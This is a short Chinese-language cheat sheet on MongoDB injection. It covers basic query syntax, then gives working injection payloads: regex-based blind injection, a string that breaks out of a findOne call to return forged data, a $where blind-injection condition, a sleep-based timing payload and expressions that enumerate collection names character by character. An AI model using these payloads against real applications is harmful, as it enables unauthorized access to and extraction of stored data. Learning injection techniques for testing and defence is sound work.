mongodb注入简单总结

monogodb语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-- 查询语法
db.collection.find(query, projection)
-- AND语法
db.col.find({key1:value1}, {key2:value2}) => select * from col where key1 = value1 and key2 = value2;
-- OR语法
db.col.find({$or:[{key1:value1}, {key2:value2}]}) => select * from col where key1 = value1 or key2 = value2;
-- $type操作符
db.col.find({"title" : {$type : 2}}) => 获取类型为2(String)的数据
-- limit
db.col.find({},{"title":1,_id:0}).limit(2) => 显示title字段,不显示_id字段 limit 2
-- skip
db.col.find({},{"title":1,_id:0}).limit(1).skip(1) => 跳过第一条数据
-- sort
db.col.find({},{"title":1,_id:0}).sort({"likes":-1}) => 根据likes字段进行降序 1为升序
-- 查数据库名
db => 显示当前使用的数据库
-- 查集合名(表名)
db.getCollectionNames()

注入方法

regex

1
db.col.find({username:{'$regex':'^a'}}) => 通过正则匹配返回结果的不同进行盲注

有回显

1
2
3
4
-- 源代码
var data = db.test.findOne({username:'$username',password:'$password'});return data;
-- 拼接 test'});return {username:1,password:2}//
var data = db.test.findOne({username:'test'});return {username:1,password:2}//',password:'$password'});return data;

盲注

1
2
3
4
-- 源代码
$result = $coll->find(array('$where'=>"function() {if(this.news == '$news') return true}"));
-- 拼接 test'%26%26db.getCollectionNames().length>0%26%26'1'=='1
$result = $coll->find(array('$where'=>"function() {if(this.news == 'test'&&db.getCollectionNames().length>0&&'1'='1') return true}"));

延时盲注

1
2
3
4
-- 源代码
var data = db.test.findOne({username:'$username',password:'$password'});return data;
-- 拼接 test'});if (db.version() > "0") { sleep(10000); exit; }var b=({a:'1
var data = db.test.findOne({username:'test'});if (db.version() > "0") { sleep(10000); exit; }var b=({a:'1',password:'$password'});return data;

部分注入语句

1
2
3
4
5
6
7
db 注库名
db.getCollectionNames() 注集合名
db.getCollectionNames().length 集合长度
db.getCollectionNames()[0].length 集合的第一个数据的长度
db.getCollectionNames()[0][0]=='m' 集合的第一个数据的第一位=='m'(盲注)
tojson(db.user.find()[0])[0]=='a' 不是字符串的用tojson转化成字符串
if (db.version() > "0") { sleep(10000); exit; } if判断进行延时盲注